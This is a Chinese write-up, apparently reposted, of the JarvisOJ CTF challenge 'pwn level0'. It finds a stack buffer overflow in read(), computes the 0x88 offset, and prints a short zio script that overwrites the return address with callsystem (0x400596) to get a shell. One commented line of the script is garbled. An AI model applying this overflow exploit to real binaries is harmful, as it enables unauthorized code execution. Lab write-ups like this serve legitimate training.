您好,欢迎来到二三娱乐。
搜索
您的当前位置:首页[JarvisOj](pwn)level0

[JarvisOj](pwn)level0

来源:二三娱乐

简介 :


分析 :

  1. 查看文件类型


    Paste_Image.png
  2. 在相应的环境中运行程序
Paste_Image.png
  1. 直接使用 ida 反编译
Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png

发现一个函数 : callsystem 直接调用了 system 函数打开了一个 shell
因此 , 但是在程序的正常执行流程中并不会执行到这里
所以我们需要修改程序的执行逻辑 , 我们看到在 vulnerable_function
read 函数是有缓冲区溢出漏洞的 , 因此它将成为我们的入手点
我们来查看该函数的栈帧 (在该函数的汇编代码视图下按 Ctrl + K)

Paste_Image.png Paste_Image.png

可以看到这里 buffer 的首地址和栈上的返回地址的距离是 : (+0x0000000000000008) - (-0x0000000000000080)
也就是 0x88 , 还是和上道题的思路基本类型 , 我们现在需要得到 callsystem 函数的地址

Paste_Image.png

地址为 : 0x400596 , 小端序为 : \x96\x05\x40\x00\x00\x00\x00

然后利用脚本如下 :

import zio

junk = "A" * 0x88
address = "\x96\x05\x40\x00\x00\x00\x00"
payload = junk + address

Io = zio.zio("./level0")
# Io =  9881))
Io.write(payload)
Io.interact()

运行结果如下 :

Paste_Image.png Paste_Image.png

Copyright © 2019- yule263.com 版权所有 湘ICP备2023023988号-1

违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务